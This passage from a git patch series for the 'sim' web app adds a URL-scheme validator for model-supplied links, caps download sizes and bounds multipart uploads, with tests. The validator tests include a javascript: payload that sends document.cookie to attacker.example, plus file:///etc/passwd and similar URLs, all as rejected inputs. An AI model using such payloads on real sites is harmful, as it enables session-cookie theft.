mockUseUserPermissionsContext.mockReturnValue({ canEdit: false }) + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'https://github.com/login/oauth/authorize', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) +}) diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx index e8de183ad03..26dc28aad23 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.tsx @@ -15,6 +15,7 @@ import { } from '@sim/emcn' import { useParams } from 'next/navigation' import { canonicalWorkspaceFilePath } from '@/lib/copilot/vfs/path-utils' +import { isSafeHttpUrl } from '@/lib/core/utils/urls' import { OAUTH_PROVIDERS } from '@/lib/oauth/oauth' import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon' import type { @@ -754,6 +755,9 @@ function CredentialDisplay({ data }: { data: CredentialTagData }) { if (data.type === 'link') { // Connecting a credential mutates the workspace — hide it from read-only members. if (!data.provider || !canEdit) return null + // The connect link value comes from the streamed model output, so only + // render it as a clickable link when it resolves to a real http(s) URL. + if (!data.value || !isSafeHttpUrl(data.value)) return null const Icon = getCredentialIcon(data.provider) ?? LockIcon return ( { expect(isLocalhostUrl('')).toBe(false) }) }) + +describe('isSafeHttpUrl', () => { + it('allows absolute http(s) URLs', () => { + expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) + expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) + }) + + it('allows same-origin relative URLs (resolved against the browser origin)', () => { + expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) + }) + + it('rejects javascript: URLs', () => { + expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) + expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) + }) + + it('rejects other script-capable or non-navigable schemes', () => { + expect(isSafeHttpUrl('data:text/html,')).toBe(false) + expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) + expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) + expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) + }) + + it('treats relative junk as same-origin http (safe) rather than throwing', () => { + expect(isSafeHttpUrl('')).toBe(true) + expect(isSafeHttpUrl('not a url')).toBe(true) + }) + + it('rejects unparseable absolute input without throwing', () => { + expect(isSafeHttpUrl('http://')).toBe(false) + }) +}) diff --git a/apps/sim/lib/core/utils/urls.ts b/apps/sim/lib/core/utils/urls.ts index 1a014b295d6..cd341806a27 100644 --- a/apps/sim/lib/core/utils/urls.ts +++ b/apps/sim/lib/core/utils/urls.ts @@ -169,6 +169,21 @@ export function getBrowserOrigin(): string | null { return typeof window !== 'undefined' ? window.location.origin : null } +/** + * Validates that a URL uses an http(s) scheme before it is opened in a new window. + * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could + * execute script in the chat origin, since `file.url` originates from untrusted + * workflow/agent output. + */ +export function isSafeHttpUrl(url: string): boolean { + try { + const parsed = new URL(url, getBrowserOrigin() ?? undefined) + return parsed.protocol === 'http:' || parsed.protocol === 'https:' + } catch { + return false + } +} + /** * Returns the socket server URL for server-side internal API calls. * Reads from SOCKET_SERVER_URL with a localhost fallback for development. From b98c7c4136b25f2330e001613dd7faa59ccf2c74 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:31:21 -0700 Subject: [PATCH 06/16] fix(tools): bound download response size for drive/slack/onedrive (#5414) Google Drive, Slack, and OneDrive download routes fetched provider file content without a response size cap, unlike the SharePoint download route. Add maxResponseBytes to each content fetch, reject Google Drive files whose metadata size already exceeds the cap before starting the download, and map the resulting size-limit error to a clean 413 response. --- .../tools/google_drive/download/route.test.ts | 154 ++++++++++++++++++ .../api/tools/google_drive/download/route.ts | 16 +- .../api/tools/onedrive/download/route.test.ts | 107 ++++++++++++ .../app/api/tools/onedrive/download/route.ts | 5 +- .../api/tools/slack/download/route.test.ts | 99 +++++++++++ .../sim/app/api/tools/slack/download/route.ts | 5 +- 6 files changed, 381 insertions(+), 5 deletions(-) create mode 100644 apps/sim/app/api/tools/google_drive/download/route.test.ts create mode 100644 apps/sim/app/api/tools/onedrive/download/route.test.ts create mode 100644 apps/sim/app/api/tools/slack/download/route.test.ts diff --git a/apps/sim/app/api/tools/google_drive/download/route.test.ts b/apps/sim/app/api/tools/google_drive/download/route.test.ts new file mode 100644 index 00000000000..2599b515a3b --- /dev/null +++ b/apps/sim/app/api/tools/google_drive/download/route.test.ts @@ -0,0 +1,154 @@ +/** + * @vitest-environment node + */ +import { + createMockRequest, + hybridAuthMockFns, + inputValidationMock, + inputValidationMockFns, +} from '@sim/testing' +import { beforeEach, describe, expect, it, vi } from 'vitest' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' + +vi.mock('@/lib/core/security/input-validation.server', () => inputValidationMock) + +import { PayloadSizeLimitError } from '@/lib/core/utils/stream-limits' +import { POST } from '@/app/api/tools/google_drive/download/route' + +const { mockValidateUrlWithDNS, mockSecureFetchWithPinnedIP } = inputValidationMockFns + +const PINNED_IP = '93.184.216.34' + +const baseBody = { + accessToken: 'token-123', + fileId: 'file-abc', +} + +function jsonResponse(body: unknown, ok = true) { + return { + ok, + status: ok ? 200 : 400, + statusText: '', + headers: new Headers(), + body: null, + text: async () => JSON.stringify(body), + json: async () => body, + arrayBuffer: async () => new ArrayBuffer(0), + } +} + +function fileResponse(bytes: number, ok = true) { + return { + ok, + status: ok ? 200 : 400, + statusText: '', + headers: new Headers(), + body: null, + text: async () => '', + json: async () => ({}), + arrayBuffer: async () => new ArrayBuffer(bytes), + } +} + +beforeEach(() => { + vi.clearAllMocks() + hybridAuthMockFns.mockCheckInternalAuth.mockResolvedValue({ + success: true, + userId: 'user-1', + authType: 'internal_jwt', + }) + mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: PINNED_IP, + originalHostname: 'www.googleapis.com', + }) +}) + +describe('POST /api/tools/google_drive/download', () => { + it('downloads a normal file under the size cap', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ + id: 'file-abc', + name: 'report.pdf', + mimeType: 'application/pdf', + size: '1024', + capabilities: { canReadRevisions: false }, + }) + ) + .mockResolvedValueOnce(fileResponse(1024)) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(200) + const data = (await response.json()) as { success: boolean; output: { file: { size: number } } } + expect(data.success).toBe(true) + expect(data.output.file.size).toBe(1024) + + const downloadCall = mockSecureFetchWithPinnedIP.mock.calls[1] + expect(downloadCall[2]).toMatchObject({ maxResponseBytes: MAX_FILE_SIZE }) + }) + + it('rejects the download before fetching content when metadata size exceeds the cap', async () => { + mockSecureFetchWithPinnedIP.mockResolvedValueOnce( + jsonResponse({ + id: 'file-abc', + name: 'huge.bin', + mimeType: 'application/octet-stream', + size: String(MAX_FILE_SIZE + 1), + capabilities: { canReadRevisions: false }, + }) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(413) + const data = (await response.json()) as { success: boolean; error: string } + expect(data.success).toBe(false) + expect(data.error).toContain('exceeds maximum size') + + // Content download must never be initiated once metadata size trips the check. + expect(mockSecureFetchWithPinnedIP).toHaveBeenCalledTimes(1) + }) + + it('surfaces a clean 413 when the streamed content exceeds the cap', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ + id: 'file-abc', + name: 'report.pdf', + mimeType: 'application/pdf', + capabilities: { canReadRevisions: false }, + }) + ) + .mockRejectedValueOnce( + new PayloadSizeLimitError({ + label: 'response body', + maxBytes: MAX_FILE_SIZE, + observedBytes: MAX_FILE_SIZE + 1, + }) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(413) + const data = (await response.json()) as { success: boolean } + expect(data.success).toBe(false) + }) + + it('does not require a metadata size for Google Workspace exports', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ + id: 'doc-1', + name: 'My Doc', + mimeType: 'application/vnd.google-apps.document', + capabilities: { canReadRevisions: false }, + }) + ) + .mockResolvedValueOnce(fileResponse(2048)) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(200) + + const exportCall = mockSecureFetchWithPinnedIP.mock.calls[1] + expect(exportCall[2]).toMatchObject({ maxResponseBytes: MAX_FILE_SIZE }) + }) +}) diff --git a/apps/sim/app/api/tools/google_drive/download/route.ts b/apps/sim/app/api/tools/google_drive/download/route.ts index 8d063b8058c..a4e76f2acd6 100644 --- a/apps/sim/app/api/tools/google_drive/download/route.ts +++ b/apps/sim/app/api/tools/google_drive/download/route.ts @@ -9,7 +9,9 @@ import { validateUrlWithDNS, } from '@/lib/core/security/input-validation.server' import { generateRequestId } from '@/lib/core/utils/request' +import { assertKnownSizeWithinLimit, isPayloadSizeLimitError } from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' import type { GoogleDriveFile, GoogleDriveRevision } from '@/tools/google_drive/types' import { ALL_FILE_FIELDS, @@ -160,7 +162,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { const exportResponse = await secureFetchWithPinnedIP( exportUrl, exportUrlValidation.resolvedIP!, - { headers: { Authorization: authHeader } } + { headers: { Authorization: authHeader }, maxResponseBytes: MAX_FILE_SIZE } ) if (!exportResponse.ok) { @@ -185,6 +187,14 @@ export const POST = withRouteHandler(async (request: NextRequest) => { } else { logger.info(`[${requestId}] Downloading regular file`, { fileId, mimeType: fileMimeType }) + if (metadata.size) { + assertKnownSizeWithinLimit( + Number.parseInt(metadata.size, 10), + MAX_FILE_SIZE, + `Google Drive file ${fileId}` + ) + } + const downloadUrl = `https://www.googleapis.com/drive/v3/files/${fileId}?alt=media&supportsAllDrives=true` const downloadUrlValidation = await validateUrlWithDNS(downloadUrl, 'downloadUrl') if (!downloadUrlValidation.isValid) { @@ -197,7 +207,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { const downloadResponse = await secureFetchWithPinnedIP( downloadUrl, downloadUrlValidation.resolvedIP!, - { headers: { Authorization: authHeader } } + { headers: { Authorization: authHeader }, maxResponseBytes: MAX_FILE_SIZE } ) if (!downloadResponse.ok) { @@ -274,7 +284,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { success: false, error: getErrorMessage(error, 'Unknown error occurred'), }, - { status: 500 } + { status: isPayloadSizeLimitError(error) ? 413 : 500 } ) } }) diff --git a/apps/sim/app/api/tools/onedrive/download/route.test.ts b/apps/sim/app/api/tools/onedrive/download/route.test.ts new file mode 100644 index 00000000000..ea93ea79eba --- /dev/null +++ b/apps/sim/app/api/tools/onedrive/download/route.test.ts @@ -0,0 +1,107 @@ +/** + * @vitest-environment node + */ +import { + createMockRequest, + hybridAuthMockFns, + inputValidationMock, + inputValidationMockFns, +} from '@sim/testing' +import { beforeEach, describe, expect, it, vi } from 'vitest' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' + +vi.mock('@/lib/core/security/input-validation.server', () => inputValidationMock) + +import { PayloadSizeLimitError } from '@/lib/core/utils/stream-limits' +import { POST } from '@/app/api/tools/onedrive/download/route' + +const { mockValidateUrlWithDNS, mockSecureFetchWithPinnedIP } = inputValidationMockFns + +const PINNED_IP = '93.184.216.34' + +const baseBody = { + accessToken: 'token-123', + fileId: 'file-abc', +} + +function jsonResponse(body: unknown, ok = true) { + return { + ok, + status: ok ? 200 : 400, + statusText: '', + headers: new Headers(), + body: null, + text: async () => JSON.stringify(body), + json: async () => body, + arrayBuffer: async () => new ArrayBuffer(0), + } +} + +function fileResponse(bytes: number) { + return { + ok: true, + status: 200, + statusText: '', + headers: new Headers(), + body: null, + text: async () => '', + json: async () => ({}), + arrayBuffer: async () => new ArrayBuffer(bytes), + } +} + +beforeEach(() => { + vi.clearAllMocks() + hybridAuthMockFns.mockCheckInternalAuth.mockResolvedValue({ + success: true, + userId: 'user-1', + authType: 'internal_jwt', + }) + mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: PINNED_IP, + originalHostname: 'graph.microsoft.com', + }) +}) + +describe('POST /api/tools/onedrive/download', () => { + it('downloads a normal file under the size cap', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ id: 'file-abc', name: 'report.pdf', file: { mimeType: 'application/pdf' } }) + ) + .mockResolvedValueOnce(fileResponse(1024)) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(200) + const data = (await response.json()) as { success: boolean; output: { file: { size: number } } } + expect(data.success).toBe(true) + expect(data.output.file.size).toBe(1024) + + const downloadCall = mockSecureFetchWithPinnedIP.mock.calls[1] + expect(downloadCall[2]).toMatchObject({ maxResponseBytes: MAX_FILE_SIZE }) + }) + + it('surfaces a clean 413 when the streamed content exceeds the cap', async () => { + mockSecureFetchWithPinnedIP + .mockResolvedValueOnce( + jsonResponse({ + id: 'file-abc', + name: 'huge.bin', + file: { mimeType: 'application/octet-stream' }, + }) + ) + .mockRejectedValueOnce( + new PayloadSizeLimitError({ + label: 'response body', + maxBytes: MAX_FILE_SIZE, + observedBytes: MAX_FILE_SIZE + 1, + }) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(413) + const data = (await response.json()) as { success: boolean } + expect(data.success).toBe(false) + }) +}) diff --git a/apps/sim/app/api/tools/onedrive/download/route.ts b/apps/sim/app/api/tools/onedrive/download/route.ts index d713208c494..d1c314397c3 100644 --- a/apps/sim/app/api/tools/onedrive/download/route.ts +++ b/apps/sim/app/api/tools/onedrive/download/route.ts @@ -9,7 +9,9 @@ import { validateUrlWithDNS, } from '@/lib/core/security/input-validation.server' import { generateRequestId } from '@/lib/core/utils/request' +import { isPayloadSizeLimitError } from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' export const dynamic = 'force-dynamic' @@ -120,6 +122,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { downloadUrlValidation.resolvedIP!, { headers: { Authorization: authHeader }, + maxResponseBytes: MAX_FILE_SIZE, } ) @@ -167,7 +170,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { success: false, error: getErrorMessage(error, 'Unknown error occurred'), }, - { status: 500 } + { status: isPayloadSizeLimitError(error) ? 413 : 500 } ) } }) diff --git a/apps/sim/app/api/tools/slack/download/route.test.ts b/apps/sim/app/api/tools/slack/download/route.test.ts new file mode 100644 index 00000000000..8e31d5fcc53 --- /dev/null +++ b/apps/sim/app/api/tools/slack/download/route.test.ts @@ -0,0 +1,99 @@ +/** + * @vitest-environment node + */ +import { + createMockRequest, + hybridAuthMockFns, + inputValidationMock, + inputValidationMockFns, +} from '@sim/testing' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' + +vi.mock('@/lib/core/security/input-validation.server', () => inputValidationMock) + +import { PayloadSizeLimitError } from '@/lib/core/utils/stream-limits' +import { POST } from '@/app/api/tools/slack/download/route' + +const { mockValidateUrlWithDNS, mockSecureFetchWithPinnedIP } = inputValidationMockFns + +const PINNED_IP = '93.184.216.34' + +const baseBody = { + accessToken: 'token-123', + fileId: 'file-abc', +} + +function fileResponse(bytes: number) { + return { + ok: true, + status: 200, + statusText: '', + headers: new Headers(), + body: null, + text: async () => '', + json: async () => ({}), + arrayBuffer: async () => new ArrayBuffer(bytes), + } +} + +const originalFetch = global.fetch + +beforeEach(() => { + vi.clearAllMocks() + hybridAuthMockFns.mockCheckInternalAuth.mockResolvedValue({ + success: true, + userId: 'user-1', + authType: 'internal_jwt', + }) + mockValidateUrlWithDNS.mockResolvedValue({ + isValid: true, + resolvedIP: PINNED_IP, + originalHostname: 'files.slack.com', + }) + global.fetch = vi.fn().mockResolvedValue({ + ok: true, + json: async () => ({ + ok: true, + file: { + name: 'report.pdf', + mimetype: 'application/pdf', + url_private: 'https://files.slack.com/files-pri/T000-F000/report.pdf', + }, + }), + }) as unknown as typeof fetch +}) + +afterEach(() => { + global.fetch = originalFetch +}) + +describe('POST /api/tools/slack/download', () => { + it('downloads a normal file under the size cap', async () => { + mockSecureFetchWithPinnedIP.mockResolvedValueOnce(fileResponse(1024)) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(200) + const data = (await response.json()) as { success: boolean; output: { file: { size: number } } } + expect(data.success).toBe(true) + expect(data.output.file.size).toBe(1024) + + const downloadCall = mockSecureFetchWithPinnedIP.mock.calls[0] + expect(downloadCall[2]).toMatchObject({ maxResponseBytes: MAX_FILE_SIZE }) + }) + + it('surfaces a clean 413 when the streamed content exceeds the cap', async () => { + mockSecureFetchWithPinnedIP.mockRejectedValueOnce( + new PayloadSizeLimitError({ + label: 'response body', + maxBytes: MAX_FILE_SIZE, + observedBytes: MAX_FILE_SIZE + 1, + }) + ) + + const response = await POST(createMockRequest('POST', baseBody)) + expect(response.status).toBe(413) + const data = (await response.json()) as { success: boolean } + expect(data.success).toBe(false) + }) +}) diff --git a/apps/sim/app/api/tools/slack/download/route.ts b/apps/sim/app/api/tools/slack/download/route.ts index 2cc356bef6d..68eef0e7048 100644 --- a/apps/sim/app/api/tools/slack/download/route.ts +++ b/apps/sim/app/api/tools/slack/download/route.ts @@ -9,7 +9,9 @@ import { validateUrlWithDNS, } from '@/lib/core/security/input-validation.server' import { generateRequestId } from '@/lib/core/utils/request' +import { isPayloadSizeLimitError } from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' +import { MAX_FILE_SIZE } from '@/lib/uploads/utils/validation' export const dynamic = 'force-dynamic' @@ -114,6 +116,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { headers: { Authorization: `Bearer ${accessToken}`, }, + maxResponseBytes: MAX_FILE_SIZE, }) if (!downloadResponse.ok) { @@ -160,7 +163,7 @@ export const POST = withRouteHandler(async (request: NextRequest) => { success: false, error: getErrorMessage(error, 'Unknown error occurred'), }, - { status: 500 } + { status: isPayloadSizeLimitError(error) ? 413 : 500 } ) } }) From 1a371e51e983cd0061a666b224e0cb17388ff265 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:32:00 -0700 Subject: [PATCH 07/16] fix(uploads): bound multipart body read in workspace-file and knowledge-document upload routes (#5413) * fix(uploads): bound multipart body read in workspace-file and knowledge-document upload routes * fix(uploads): avoid FormData-body stream race in bounded-read tests * fix(uploads): share MAX_MULTIPART_OVERHEAD_BYTES constant across upload routes --- apps/sim/app/api/files/upload/route.ts | 2 +- apps/sim/app/api/v1/files/route.ts | 2 +- .../v1/knowledge/[id]/documents/route.test.ts | 167 ++++++++++++++++++ .../api/v1/knowledge/[id]/documents/route.ts | 15 +- .../api/workspaces/[id]/files/route.test.ts | 143 +++++++++++++++ .../app/api/workspaces/[id]/files/route.ts | 21 ++- apps/sim/lib/core/utils/stream-limits.ts | 7 + 7 files changed, 352 insertions(+), 5 deletions(-) create mode 100644 apps/sim/app/api/v1/knowledge/[id]/documents/route.test.ts create mode 100644 apps/sim/app/api/workspaces/[id]/files/route.test.ts diff --git a/apps/sim/app/api/files/upload/route.ts b/apps/sim/app/api/files/upload/route.ts index a68fb9da045..c6c65f03407 100644 --- a/apps/sim/app/api/files/upload/route.ts +++ b/apps/sim/app/api/files/upload/route.ts @@ -13,6 +13,7 @@ import { getSession } from '@/lib/auth' import { assertKnownSizeWithinLimit, isPayloadSizeLimitError, + MAX_MULTIPART_OVERHEAD_BYTES, readFileToBufferWithLimit, readFormDataWithLimit, } from '@/lib/core/utils/stream-limits' @@ -32,7 +33,6 @@ import { getUserEntityPermissions } from '@/lib/workspaces/permissions/utils' import { createErrorResponse, InvalidRequestError } from '@/app/api/files/utils' const ALLOWED_EXTENSIONS = new Set(SUPPORTED_ATTACHMENT_EXTENSIONS) -const MAX_MULTIPART_OVERHEAD_BYTES = 1024 * 1024 function validateFileExtension(filename: string): boolean { const extension = filename.split('.').pop()?.toLowerCase() diff --git a/apps/sim/app/api/v1/files/route.ts b/apps/sim/app/api/v1/files/route.ts index 9e573a126f8..350a2080c72 100644 --- a/apps/sim/app/api/v1/files/route.ts +++ b/apps/sim/app/api/v1/files/route.ts @@ -7,6 +7,7 @@ import { getValidationErrorMessage, parseRequest } from '@/lib/api/server' import { generateRequestId } from '@/lib/core/utils/request' import { isPayloadSizeLimitError, + MAX_MULTIPART_OVERHEAD_BYTES, readFileToBufferWithLimit, readFormDataWithLimit, } from '@/lib/core/utils/stream-limits' @@ -30,7 +31,6 @@ export const dynamic = 'force-dynamic' export const revalidate = 0 const MAX_FILE_SIZE = 100 * 1024 * 1024 -const MAX_MULTIPART_OVERHEAD_BYTES = 1024 * 1024 /** GET /api/v1/files — List all files in a workspace. */ export const GET = withRouteHandler(async (request: NextRequest) => { diff --git a/apps/sim/app/api/v1/knowledge/[id]/documents/route.test.ts b/apps/sim/app/api/v1/knowledge/[id]/documents/route.test.ts new file mode 100644 index 00000000000..002204f1425 --- /dev/null +++ b/apps/sim/app/api/v1/knowledge/[id]/documents/route.test.ts @@ -0,0 +1,167 @@ +/** + * Tests for the v1 knowledge document upload route's bounded multipart read. + * + * @vitest-environment node + */ +import { NextRequest } from 'next/server' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { + mockAuthenticateRequest, + mockResolveKnowledgeBase, + mockCheckActorUsageLimits, + mockUploadWorkspaceFile, + mockCreateSingleDocument, + mockProcessDocumentsWithQueue, + mockValidateFileType, +} = vi.hoisted(() => ({ + mockAuthenticateRequest: vi.fn(), + mockResolveKnowledgeBase: vi.fn(), + mockCheckActorUsageLimits: vi.fn(), + mockUploadWorkspaceFile: vi.fn(), + mockCreateSingleDocument: vi.fn(), + mockProcessDocumentsWithQueue: vi.fn(), + mockValidateFileType: vi.fn(), +})) + +vi.mock('@/app/api/v1/middleware', () => ({ + authenticateRequest: mockAuthenticateRequest, +})) + +vi.mock('@/app/api/v1/knowledge/utils', () => ({ + resolveKnowledgeBase: mockResolveKnowledgeBase, + serializeDate: (date: unknown) => (date instanceof Date ? date.toISOString() : date), + handleError: (_requestId: string, error: unknown) => + new Response(JSON.stringify({ error: error instanceof Error ? error.message : 'error' }), { + status: 500, + }), +})) + +vi.mock('@/lib/billing/calculations/usage-monitor', () => ({ + checkActorUsageLimits: mockCheckActorUsageLimits, +})) + +vi.mock('@/lib/uploads/contexts/workspace', () => ({ + uploadWorkspaceFile: mockUploadWorkspaceFile, +})) + +vi.mock('@/lib/uploads/utils/validation', () => ({ + validateFileType: mockValidateFileType, +})) + +vi.mock('@/lib/knowledge/documents/service', () => ({ + createSingleDocument: mockCreateSingleDocument, + getDocuments: vi.fn(), + processDocumentsWithQueue: mockProcessDocumentsWithQueue, +})) + +import { POST } from '@/app/api/v1/knowledge/[id]/documents/route' + +const routeContext = { params: Promise.resolve({ id: 'kb-1' }) } + +function buildFormData(file: File, workspaceId = 'ws-1'): FormData { + const formData = new FormData() + formData.append('workspaceId', workspaceId) + formData.append('file', file) + return formData +} + +/** + * Builds a pull-based stream that emits fixed-size chunks on demand, so the + * size-capped reader's `reader.cancel()` simply stops future `pull` calls + * instead of racing an external (e.g. undici FormData) chunk producer. + */ +function makeChunkedOverLimitBody( + chunkBytes: number, + chunkCount: number +): ReadableStream { + let emitted = 0 + return new ReadableStream({ + pull(controller) { + if (emitted >= chunkCount) { + controller.close() + return + } + emitted++ + controller.enqueue(new Uint8Array(chunkBytes)) + }, + }) +} + +describe('v1 knowledge document upload route', () => { + beforeEach(() => { + vi.clearAllMocks() + mockAuthenticateRequest.mockResolvedValue({ + requestId: 'req-1', + userId: 'user-1', + rateLimit: {}, + }) + mockResolveKnowledgeBase.mockResolvedValue({ kb: { id: 'kb-1', workspaceId: 'ws-1' } }) + mockCheckActorUsageLimits.mockResolvedValue({ isExceeded: false }) + mockValidateFileType.mockReturnValue(null) + mockUploadWorkspaceFile.mockResolvedValue({ + url: 'https://example.com/file.txt', + }) + mockCreateSingleDocument.mockResolvedValue({ + id: 'doc-1', + filename: 'file.txt', + fileSize: 100, + mimeType: 'text/plain', + enabled: true, + uploadedAt: new Date('2026-01-01T00:00:00.000Z'), + }) + mockProcessDocumentsWithQueue.mockResolvedValue(undefined) + }) + + it('rejects a declared content-length above the limit before reading the body', async () => { + const formData = buildFormData(new File(['x'.repeat(10)], 'file.txt', { type: 'text/plain' })) + const req = new NextRequest('http://localhost:3000/api/v1/knowledge/kb-1/documents', { + method: 'POST', + headers: { 'content-length': String(200 * 1024 * 1024) }, + body: formData, + }) + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(413) + expect(data.error).toContain('exceeds maximum size') + expect(mockUploadWorkspaceFile).not.toHaveBeenCalled() + }) + + it('rejects a chunked body without content-length once the streamed size trips the cap', async () => { + const body = makeChunkedOverLimitBody(1024 * 1024, 200) + const req = new NextRequest('http://localhost:3000/api/v1/knowledge/kb-1/documents', { + method: 'POST', + body, + // @ts-expect-error - duplex is required by undici for streamed bodies but missing from NextRequestInit types + duplex: 'half', + }) + expect(req.headers.get('content-length')).toBeNull() + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(413) + expect(data.error).toContain('exceeds maximum size') + expect(mockUploadWorkspaceFile).not.toHaveBeenCalled() + }) + + it('uploads a normal, well-under-limit document successfully', async () => { + const file = new File(['hello world'], 'file.txt', { type: 'text/plain' }) + const formData = buildFormData(file) + const req = new NextRequest('http://localhost:3000/api/v1/knowledge/kb-1/documents', { + method: 'POST', + headers: { 'content-length': '1024' }, + body: formData, + }) + + const response = await POST(req, routeContext) + const data = await response.json() + + expect(response.status).toBe(200) + expect(data.success).toBe(true) + expect(mockUploadWorkspaceFile).toHaveBeenCalledTimes(1) + expect(mockCreateSingleDocument).toHaveBeenCalledTimes(1) + }) +}) diff --git a/apps/sim/app/api/v1/knowledge/[id]/documents/route.ts b/apps/sim/app/api/v1/knowledge/[id]/documents/route.ts index dafed80b7d2..d0d80070dcd 100644 --- a/apps/sim/app/api/v1/knowledge/[id]/documents/route.ts +++ b/apps/sim/app/api/v1/knowledge/[id]/documents/route.ts @@ -6,6 +6,11 @@ import { } from '@/lib/api/contracts/v1/knowledge' import { parseRequest } from '@/lib/api/server' import { checkActorUsageLimits } from '@/lib/billing/calculations/usage-monitor' +import { + isPayloadSizeLimitError, + MAX_MULTIPART_OVERHEAD_BYTES, + readFormDataWithLimit, +} from '@/lib/core/utils/stream-limits' import { withRouteHandler } from '@/lib/core/utils/with-route-handler' import { createSingleDocument, @@ -96,8 +101,14 @@ export const POST = withRouteHandler( let formData: FormData try { - formData = await request.formData() - } catch { + formData = await readFormDataWithLimit(request, { + maxBytes: MAX_FILE_SIZE + MAX_MULTIPART_OVERHEAD_BYTES, + label: 'knowledge document upload body', + }) + } catch (error) { + if (isPayloadSizeLimitError(error)) { + return NextResponse.json({ error: error.message }, { status: 413 }) + } return NextResponse.json( { error: 'Request body must be valid multipart form data' }, { status: 400 } diff --git a/apps/sim/app/api/workspaces/[id]/files/route.test.ts b/apps/sim/app/api/workspaces/[id]/files/route.test.ts new file mode 100644 index 00000000000..3ce4bc9898e --- /dev/null +++ b/apps/sim/app/api/workspaces/[id]/files/route.test.ts @@ -0,0 +1,143 @@ +/** + * Tests for the workspace files upload route's bounded multipart read. + * + * @vitest-environment node + */ +import { authMockFns, permissionsMock, permissionsMockFns, posthogServerMock } from '@sim/testing' +import { NextRequest } from 'next/server' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { mockUploadWorkspaceFile, mockGetSharesForResources, mockRecordAudit } = vi.hoisted(() => ({ + mockUploadWorkspaceFile: vi.fn(), + mockGetSharesForResources: vi.fn(), + mockRecordAudit: vi.fn(), +})) + +vi.mock('@/lib/uploads/contexts/workspace', () => ({ + uploadWorkspaceFile: mockUploadWorkspaceFile, + FileConflictError: class FileConflictError extends Error {}, +})) + +vi.mock('@/lib/uploads/shared/types', async (importOriginal) => { + const actual = await importOriginal() + return { + ...actual, + MAX_WORKSPACE_FORMDATA_FILE_SIZE: 1024, + } +}) + +vi.mock('@/lib/public-shares/share-manager', () => ({ + getSharesForResources: mockGetSharesForResources, +})) + +vi.mock('@/lib/posthog/server', () => posthogServerMock) +vi.mock('@/lib/workspaces/permissions/utils', () => permissionsMock) +vi.mock('@/app/api/workflows/utils', () => ({ + verifyWorkspaceMembership: vi.fn().mockResolvedValue('write'), +})) +vi.mock('@sim/audit', () => ({ + recordAudit: mockRecordAudit, + AuditAction: { FILE_UPLOADED: 'file_uploaded' }, + AuditResourceType: { FILE: 'file' }, +})) + +const WS = '7727ef3f-8cf6-4686-b063-2bb006a10785' + +import { POST } from '@/app/api/workspaces/[id]/files/route' + +const routeContext = { params: Promise.resolve({ id: WS }) } + +function buildFormData(file: File): FormData { + const formData = new FormData() + formData.append('file', file) + return formData +} + +/** + * Builds a pull-based stream that emits fixed-size chunks on demand, so the + * size-capped reader's `reader.cancel()` simply stops future `pull` calls + * instead of racing an external (e.g. undici FormData) chunk producer. + */ +function makeChunkedOverLimitBody( + chunkBytes: number, + chunkCount: number +): ReadableStream { + let emitted = 0 + return new ReadableStream({ + pull(controller) { + if (emitted >= chunkCount) { + controller.close() + return + } + emitted++ + controller.enqueue(new Uint8Array(chunkBytes)) + }, + }) 